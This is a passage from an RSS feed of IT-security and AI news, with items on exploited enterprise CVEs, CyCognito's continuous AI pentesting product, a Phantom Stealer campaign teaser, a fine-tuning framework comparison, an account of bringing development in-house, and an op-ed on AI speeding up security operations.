Response</span></h4><p><span>This quarter's Emergent Threat Response (ETR) coverage highlights a sustained wave of high-impact vulnerabilities affecting widely deployed enterprise technologies, including </span><a href="https://www.rapid7.com/blog/post/etr-active-exploitation-of-oracle-peoplesoft-zero-day-cve-2026-35273" target="_self"><span>Oracle PeopleSoft</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-0265-authentication-bypass-in-palo-alto-networks-pan-os" target="_self"><span>Palo Alto Networks PAN-OS</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-critical-check-point-vpn-zero-day-exploited-in-the-wild-cve-2026-50751" target="_self"><span>Check Point VPN</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-10520-cve-2026-10523-multiple-critical-vulnerabilities-affecting-ivanti-sentry" target="_self"><span>Ivanti Sentry</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass" target="_self"><span>cPanel/WHM</span></a><span>, and </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-33032-nginx-ui-missing-mcp-authentication" target="_self"><span>Nginx UI</span></a><span>. For each of these CVEs, Rapid7 tracked active exploitation and rapidly evolving attacker activity to provide timely guidance to help defenders assess risk and respond quickly. See all the details, and our latest ETR coverage, </span><a href="https://www.rapid7.com/blog/tag/emergent-threat-response" target="_self"><span>here</span></a><span>.</span></p><p><span>From strengthening detection and response to advancing exposure management, expanding governance capabilities, and delivering actionable threat intelligence, Q2 demonstrated Rapid7’s continued focus on helping security teams do more with less complexity. Every enhancement this quarter was designed to reduce manual effort, surface the context that matters, and help organizations make faster, more confident security decisions. We’re carrying that momentum into the rest of the year, so stay tuned to our blog and releases as we continue building the security operations platform that helps defenders stay ahead of what’s next.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CyCognito Brings Always-On AI Pentesting to External Attack Surface Management]]></title>
<description><![CDATA[CyCognito, a leading exposure management platform, today introduced Continuous AI Pentesting. The new capability bakes AI-driven offensive pentesting directly into the platform, leveraging the rich context it already maintains for every exposed asset. This enables CyCognito to deliver AI pentesti...]]></description>
<link>https://tsecurity.de/de/3686433/it-security-nachrichten/cycognito-brings-always-on-ai-pentesting-to-external-attack-surface-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686433/it-security-nachrichten/cycognito-brings-always-on-ai-pentesting-to-external-attack-surface-management/</guid>
<pubDate>Wed, 22 Jul 2026 15:14:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">CyCognito, a leading exposure management platform, today introduced Continuous AI Pentesting. The new capability bakes AI-driven offensive pentesting directly into the platform, leveraging the rich context it already maintains for every exposed asset. This enables CyCognito to deliver AI pentesting as a continuous service, circumventing the cost and coverage constraints that confine comparable solutions to periodic, narrowly scoped engagements.</p>



<p class="wp-block-paragraph">With this new solution, CyCognito addresses a major shift in the security ecosystem, driven by the latest advances in AI. Today’s models, with more advanced ones on the way, have lowered the bar for attackers. An attack campaign that once required a group of skilled threat actors can now be carried out by a low-skilled individual, in a fraction of the time and at relatively low cost. This signals a tectonic shift that compels defenders to adopt the same technology to keep pace and close the security gaps in their own environment.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/image.jpeg?quality=50&amp;strip=all" alt="" class="wp-image-4199553" width="800" height="502" sizes="auto, (max-width: 800px) 100vw, 800px"></figure></div>



<p class="wp-block-paragraph">Continuous AI Pentesting: Solution architecture, at a glance.</p>



<p class="wp-block-paragraph">“AI pentesting is rapidly becoming part of every security team’s toolkit, and a lot of it is already being done in-house,” said Rob Gurzeev, CEO and co-founder of CyCognito. “But running offensive AI isn’t the hard part. The challenge is scale. AI pentesting today is typically limited to the top 1% of priority assets. Meanwhile, the other 99% is where a lot of attacks actually start, where adversaries find the low-hanging fruit and use it as a foothold for lateral movement.”</p>



<p class="wp-block-paragraph">To provide AI pentesting coverage across that overlooked 99%, CyCognito built a distinct architecture that centers on the Target Graph, a contextual graph that bridges the AI pentesting solution and CyCognito’s three core modules:</p>



<ul class="wp-block-list">
<li><strong>Exposure Assessment</strong> maps the external footprint, attributes every asset to the right part of the organization, and enriches it with business and stack context.</li>



<li><strong>Exposure Validation</strong> runs more than 100,000 deterministic tests continuously, freeing the AI pentesters to focus on high-judgment work.</li>



<li><strong>Threat Intelligence</strong> draws on the history of existing and emerging vulnerabilities, along with attacker playbooks and statistical models trained on past engagements, to anticipate attacker activity.</li>
</ul>



<p class="wp-block-paragraph">Together, these layers increase the effectiveness of the pentesting agents, equipping them with the rich context and exploitability evidence, dramatically improving the efficiency of every run.</p>



<p class="wp-block-paragraph">The architecture is also built to be constantly self-evolving. Every new risk scenario AI pentesters uncover can be hardcoded into the Exposure Validation module, joining the deterministic tests it already runs. This frees the AI agents to pursue new threats, and also consolidates learnings from agentic tests in a way that will benefit every CyCognito customer.</p>



<p class="wp-block-paragraph">In the announcement for this new feature, the company also shared some of the vulnerabilities:</p>



<ul class="wp-block-list">
<li><strong>Unauthenticated access to a production CRM:</strong> an exposed MCP server allowed anonymous, natural-language queries against three million rows of account, opportunity, and financial data, with no credentials required.</li>



<li><strong>A publicly readable RAG index:</strong> an AI agent stack enforced authentication only on its API, leaving the knowledge base behind it, which held customer data, contracts, and internal communications, open to anyone on the internet.</li>



<li><strong>A building’s access controls exposed to the internet:</strong> a system running door locks, card readers, and CCTV sat unsegmented on the public internet alongside the organization’s AI document tools and chatbot, leaving physical entry reachable by a remote attacker.</li>
</ul>



<p class="wp-block-paragraph">These examples are just some of the risk scenarios identified through the work on this new capability, now running with select design partners, including major enterprises and Fortune 500 companies. Internally, CyCognito refers to the project as Project Kineto, after the Kinetograph, the first motion picture camera.</p>



<p class="wp-block-paragraph">“The name echoes our vision for what AI pentesting should be,” said Gurzeev. “Security testing has always been a snapshot. AI lets us turn it into continuous motion: an always-on stream of change-aware tests that runs across your entire attack surface at machine speed, with the skill of a seasoned security expert.”</p>



<p class="wp-block-paragraph">To go deeper on Continuous AI Pentesting, read the full announcement post: <a href="https://www.cycognito.com/blog/new-continuous-ai-pentesting/" target="_blank" rel="noreferrer noopener">https://www.cycognito.com/blog/new-continuous-ai-pentesting/</a></p>



<h3 class="wp-block-heading">About CyCognito</h3>



<p class="wp-block-paragraph">CyCognito is an external exposure management platform that reduces risk by discovering, testing and prioritizing security issues. </p>



<p class="wp-block-paragraph">The platform scans billions of websites, cloud applications and APIs and uses advanced AI to identify the most critical risks and guide remediation. Emerging companies, government agencies and Fortune 500 organizations rely on CyCognito to secure and protect from growing threats. For more information, visit <a href="https://www.cycognito.com/" target="_blank" rel="noreferrer noopener">https://www.cycognito.com</a>.</p>



<h5 class="wp-block-heading">Contact</h5>



<p class="wp-block-paragraph"><strong>VP Marketing</strong></p>



<p class="wp-block-paragraph"><strong>Igal Zeifman</strong></p>



<p class="wp-block-paragraph"><strong>CyCognito</strong></p>



<p class="wp-block-paragraph"><strong>igal.zeifman@cycognito.com</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Abusing Trusted Business Workflows: A Multi-Stage Phantom Stealer Campaign]]></title>
<description><![CDATA[Contents ·     Introduction ·     Campaign Overview ·     Initial Access ·     Infection Chain ·     Technical Analysis – Stage 1: Initial Delivery (Archive→JavaScript) – Stage 2: PowerShell Loader1 Analysis – Stage 3: PowerShell Loader2 Analysis – Stage 4 – Phantom Stealer v3.5.0: Data Harvestin...]]></description>
<link>https://tsecurity.de/de/3686017/it-security-nachrichten/abusing-trusted-business-workflows-a-multi-stage-phantom-stealer-campaign/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686017/it-security-nachrichten/abusing-trusted-business-workflows-a-multi-stage-phantom-stealer-campaign/</guid>
<pubDate>Wed, 22 Jul 2026 13:00:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Contents ·     Introduction ·     Campaign Overview ·     Initial Access ·     Infection Chain ·     Technical Analysis – Stage 1: Initial Delivery (Archive→JavaScript) – Stage 2: PowerShell Loader1 Analysis – Stage 3: PowerShell Loader2 Analysis – Stage 4 – Phantom Stealer v3.5.0: Data Harvesting and Exfiltration ·     Campaign Attribution ·     Conclusion ·     IOC’s ·     Seqrite Detection Coverage- ·     MITRE Attack […]</p>
<p>The post <a href="https://www.seqrite.com/blog/abusing-trusted-business-workflows-a-multi-stage-phantom-stealer-campaign/" data-wpel-link="internal" target="_self" rel="follow">Abusing Trusted Business Workflows: A Multi-Stage Phantom Stealer Campaign</a> appeared first on <a href="https://www.seqrite.com/blog" data-wpel-link="internal" target="_self" rel="follow">Seqrite Labs</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Unsloth vs Axolotl vs TRL vs LLaMA-Factory: A Fine-Tuning Framework Comparison on Speed, VRAM, and Multi-GPU]]></title>
<description><![CDATA[Four open source projects dominate LLM fine-tuning today. Unsloth, Axolotl, TRL, and LLaMA-Factory all wrap the same underlying PyTorch and Hugging Face stack. They diverge on where they spend engineering effort. Unsloth rewrites kernels. Axolotl composes parallelism strategies. TRL defines the t...]]></description>
<link>https://tsecurity.de/de/3685789/ai-nachrichten/unsloth-vs-axolotl-vs-trl-vs-llama-factory-a-fine-tuning-framework-comparison-on-speed-vram-and-multi-gpu/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685789/ai-nachrichten/unsloth-vs-axolotl-vs-trl-vs-llama-factory-a-fine-tuning-framework-comparison-on-speed-vram-and-multi-gpu/</guid>
<pubDate>Wed, 22 Jul 2026 11:22:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Four open source projects dominate LLM fine-tuning today. Unsloth, Axolotl, TRL, and LLaMA-Factory all wrap the same underlying PyTorch and Hugging Face stack. They diverge on where they spend engineering effort. Unsloth rewrites kernels. Axolotl composes parallelism strategies. TRL defines the trainer APIs the others build on. LLaMA-Factory optimizes for breadth of model coverage and […]</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/22/unsloth-vs-axolotl-vs-trl-vs-llama-factory-a-fine-tuning-framework-comparison-on-speed-vram-and-multi-gpu/">Unsloth vs Axolotl vs TRL vs LLaMA-Factory: A Fine-Tuning Framework Comparison on Speed, VRAM, and Multi-GPU</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[From outsourcing to ownership: How we brought development in-house without breaking delivery]]></title>
<description><![CDATA[Outsourcing worked – until it didn’t.



After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.



The challenges st...]]></description>
<link>https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Outsourcing worked – until it didn’t.</p>



<p class="wp-block-paragraph">After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.</p>



<p class="wp-block-paragraph">The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but<a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html"> </a><a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html">fair questions</a> about IP ownership, operational dependencies and long-term scalability.</p>



<p class="wp-block-paragraph">Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as<a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html"> </a><a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html">insourcing, repatriating or backsourcing</a>) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.</p>



<h2 class="wp-block-heading">Building an internal engineering organization while still delivering</h2>



<p class="wp-block-paragraph">One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.</p>



<p class="wp-block-paragraph">When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.</p>



<p class="wp-block-paragraph">Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.</p>



<p class="wp-block-paragraph">After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.</p>



<p class="wp-block-paragraph">At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.</p>



<p class="wp-block-paragraph">The next challenge was hiring.</p>



<p class="wp-block-paragraph">In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a<a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing"> </a><a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing">product engineering model</a>, where engineers owned broader product outcomes rather than narrowly defined technical functions.</p>



<p class="wp-block-paragraph">During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.</p>



<p class="wp-block-paragraph">I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.</p>



<p class="wp-block-paragraph">Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.</p>



<p class="wp-block-paragraph">The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH &amp; CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.</p>



<h2 class="wp-block-heading">Managing risk without slowing down the business</h2>



<p class="wp-block-paragraph">The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.</p>



<p class="wp-block-paragraph">To reduce delivery risk, we approached the transition in layers.</p>



<p class="wp-block-paragraph">First, we focused on<a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/"> </a><a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/">infrastructure reliability and operational readiness</a> before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.</p>



<p class="wp-block-paragraph">Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.</p>



<p class="wp-block-paragraph">Third, we became extremely disciplined about scope management. One of the most common reasons<a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html"> </a><a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html">insourcing initiatives fail is uncontrolled change</a> during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.</p>



<p class="wp-block-paragraph">Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.</p>



<p class="wp-block-paragraph">By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.</p>



<p class="wp-block-paragraph">A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.</p>



<p class="wp-block-paragraph">My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.</p>



<p class="wp-block-paragraph">The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.</p>



<h2 class="wp-block-heading">Lessons learned for CTOs considering insourcing</h2>



<p class="wp-block-paragraph">Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.</p>



<p class="wp-block-paragraph">The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.</p>



<p class="wp-block-paragraph">Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.</p>



<p class="wp-block-paragraph">Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.</p>



<p class="wp-block-paragraph">The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI, security operations and the new race against time]]></title>
<description><![CDATA[When Anthropic unveiled Project Glasswing and the Mythos model, much of the discussion focused on the capabilities themselves.



Security leaders debated what these systems could mean for vulnerability discovery, exploit development and the pace of offensive innovation. Researchers examined tech...]]></description>
<link>https://tsecurity.de/de/3685757/it-security-nachrichten/ai-security-operations-and-the-new-race-against-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685757/it-security-nachrichten/ai-security-operations-and-the-new-race-against-time/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When Anthropic unveiled Project Glasswing and the Mythos model, much of the discussion focused on the capabilities themselves.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html?utm=hybrid_search">Security leaders debated</a> what these systems could mean for vulnerability discovery, exploit development and the pace of offensive innovation. Researchers examined technical benchmarks. Industry observers questioned how quickly these capabilities might fall into attackers’ hands.</p>



<p class="wp-block-paragraph">Those conversations are important. They also point to a larger question that predominates my discussions with CISOs: How much time do we have?</p>



<p class="wp-block-paragraph">Over the past year, conversations about AI in cybersecurity have changed noticeably. Twelve months ago, security leaders wanted to understand whether AI could meaningfully improve security operations. They wanted to know whether it could accurately investigate alerts, reduce analyst workload and operate reliably in production environments.</p>



<p class="wp-block-paragraph">Today, security leaders are asking about timelines, implementation, how quickly AI is changing the threat landscape and what that means for <a href="https://www.csoonline.com/article/4158008/the-ai-inflection-point-what-security-leaders-must-do-now.html">how security teams operate</a>.</p>



<p class="wp-block-paragraph">Anthropic’s Mythos and Glasswing, OpenAI’s Daybreak and advances in DeepSeek accelerate those conversations. Each development provides another glimpse into the pace at which AI capabilities are advancing.</p>



<p class="wp-block-paragraph">AI now reasons through security problems that historically required highly specialized expertise. The implications span vulnerability discovery, attack-path analysis, reconnaissance, social engineering and security operations.</p>



<p class="wp-block-paragraph">The shift reflects a broader reality: cybersecurity is entering a period where the pace of adaptation may matter as much as the quality of defenses themselves. AI is accelerating both offense and defense simultaneously. Organizations are quickly redesigning security operations around that reality.</p>



<p class="wp-block-paragraph">One consequence is becoming increasingly visible. For years, cybersecurity teams invested enormous effort in discovering threats, identifying vulnerabilities, gathering telemetry and collecting intelligence. AI is accelerating many of those activities simultaneously. Visibility is improving. Discovery is accelerating. Investigations are becoming faster and more comprehensive.</p>



<p class="wp-block-paragraph">The bottleneck is beginning to move. The challenge increasingly centers on how quickly organizations can act on what they know. The organizations that gain an advantage may not be the ones with the most information. They will be the ones who can operationalize that information the fastest.</p>



<h2 class="wp-block-heading">The timeline is compressing</h2>



<p class="wp-block-paragraph">Cybersecurity has experienced many major technology transitions. Cloud computing changed infrastructure. Mobile devices expanded the attack surface. Digital transformation connected systems that were previously isolated.</p>



<p class="wp-block-paragraph">AI introduces a different dynamic.</p>



<p class="wp-block-paragraph">Most technology transitions unfolded over years. Organizations had time to evaluate, pilot, deploy and gradually adapt operating models.</p>



<p class="wp-block-paragraph">The current AI cycle moves at a different pace.</p>



<p class="wp-block-paragraph">Capabilities improve continuously. New models arrive every few months. New research emerges every few weeks. Security teams absorb developments at the same time attackers do.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">Vulnerability discovery</a> provides a useful example. Security teams have long operated around a familiar cycle of discovery, validation, remediation and protection. AI systems accelerate every stage of that process. Similar patterns exist in phishing, reconnaissance, social engineering and attack planning.</p>



<p class="wp-block-paragraph">A vulnerability that once moved through that cycle over weeks increasingly now moves through those stages in days or, in some cases, hours.</p>



<p class="wp-block-paragraph">Attackers are already operating at the speed of AI. Defenders are now focused on reaching the same level of operational speed.</p>



<p class="wp-block-paragraph">This shift is changing the questions CISOs ask.</p>



<p class="wp-block-paragraph">Early discussions focused on capability. Could AI investigate alerts accurately? Could it operate reliably in production environments? Could it be trusted with meaningful security work?</p>



<p class="wp-block-paragraph">As organizations gained experience with AI, the discussion shifted toward implementation. Security teams began evaluating where AI could create operational leverage and how quickly they could deploy it into existing workflows.</p>



<p class="wp-block-paragraph">Today, many CISOs are focused on timing.</p>



<p class="wp-block-paragraph">The pace of advancement is influencing planning horizons, budget decisions and operating-model discussions. Security leaders are evaluating how quickly they can introduce AI into investigations, threat hunting, detection engineering and response workflows. Boards are asking questions. Executive teams are paying attention.</p>



<p class="wp-block-paragraph">Security programs that once viewed AI as a future initiative increasingly view it as a current operational priority.</p>



<p class="wp-block-paragraph">The industry is moving from evaluating AI as a technology to incorporating AI as a security capability.</p>



<p class="wp-block-paragraph">The timeline compression creates pressure on the traditional security operations model. Investigation speed, response speed and defensive coverage increasingly determine whether organizations can keep pace with adversaries operating with AI assistance.</p>



<h2 class="wp-block-heading">Security operations are entering a new phase</h2>



<p class="wp-block-paragraph">The impact of AI is becoming particularly visible inside the SOC.</p>



<p class="wp-block-paragraph">Many security operations centers were built around a straightforward assumption: alerts flow to human analysts who conduct investigations. Operational capacity scales primarily through hiring.</p>



<p class="wp-block-paragraph">The volume of security data, the number of alerts and the complexity of modern environments have steadily increased. Security teams have responded by building processes, adding tools and creating specialized analyst roles.</p>



<p class="wp-block-paragraph">AI introduces a new source of operational capacity.</p>



<p class="wp-block-paragraph">Investigations that require analysts to examine dozens or hundreds of artifacts across endpoint, identity, cloud, network and email systems can now be performed in minutes. Analysts gain access to investigative depth and consistency that would be difficult to achieve manually at scale.</p>



<p class="wp-block-paragraph">Many security leaders now view this capability through the lens of operating model design. They are examining how investigations are performed, how work is distributed and where human expertise creates the greatest value.</p>



<h2 class="wp-block-heading">The evolution of the analyst role</h2>



<p class="wp-block-paragraph">One of the most important developments emerging from early production deployments is the <a href="https://www.csoonline.com/article/4163299/the-manager-of-agents-how-ai-evolves-the-soc-analyst-role.html">evolution of analyst responsibilities</a>.</p>



<p class="wp-block-paragraph">Security analysts remain central to security operations. Their expertise becomes even more valuable as AI systems take on larger portions of investigative work.</p>



<p class="wp-block-paragraph">Threat hunting, detection engineering, response strategy, governance and oversight are receiving increased attention. Analysts spend more time shaping how investigations are conducted, evaluating outcomes and improving overall security operations.</p>



<p class="wp-block-paragraph">Many organizations are already beginning this shift.</p>



<p class="wp-block-paragraph">Teams are investing more heavily in proactive security activities. Detection engineering programs are expanding. Threat hunting is becoming more accessible. Analysts are spending more time improving systems and less time repeating investigative tasks.</p>



<p class="wp-block-paragraph">These changes create what I think of as an analyst-amplified SOC: an environment where AI expands the reach of security professionals and enables deeper security work across the organization.</p>



<h2 class="wp-block-heading">Trust is critical and it doesn’t have to compromise speed</h2>



<p class="wp-block-paragraph">Faced with a compressing timeline, the instinct is to treat speed and trust as a trade-off, i.e., move faster, verify less. That trade-off feels inevitable. It isn’t.</p>



<p class="wp-block-paragraph">You don’t trust AI in the abstract. You trust that a system understands your tools, your telemetry and the edge cases that only exist in your network. The problem was never speed. It’s speed without context. The faster a context-blind system runs, the more decisions you’re left unable to verify.</p>



<p class="wp-block-paragraph">The tension eases when the system is quick to deploy and tunes to your environment once it’s there, rather than treating every network the same. Speed stops being the thing you trade against trust. The more it learns about your environment, the sharper and more trustworthy it becomes, so the two compound rather than compete. Trust still develops through operational evidence such as measurable outcomes, visibility into decisions and consistent performance. But where that evidence accrues matters.</p>



<p class="wp-block-paragraph">The organizations making the fastest real progress understand this. They don’t compromise quality and trust for speed. They invest in AI that earns trust inside their own environment, so they don’t have to choose.</p>



<h2 class="wp-block-heading">Leadership during a period of rapid change</h2>



<p class="wp-block-paragraph">The conversations surrounding Mythos and Glasswing reflect a broader reality facing security leaders.</p>



<p class="wp-block-paragraph">AI is becoming part of both offense and defense. Security teams are incorporating it into investigations, detection engineering, response workflows and threat hunting. Attackers are incorporating it into their own operations.</p>



<p class="wp-block-paragraph">Security leaders have an opportunity to modernize operating models, expand defensive capacity and build organizational experience while these capabilities continue to evolve.</p>



<p class="wp-block-paragraph">The organizations making progress today are investing in readiness. They are building experience, adapting workflows and preparing teams for a new model of security operations.</p>



<p class="wp-block-paragraph">The next phase of cybersecurity will be defined by how effectively organizations combine human judgment with machine-scale execution.</p>



<p class="wp-block-paragraph">The question facing security leaders is increasingly clear: How quickly can their organizations adapt to a continuously changing threat environment?</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Seven sins of the modern software developer]]></title>
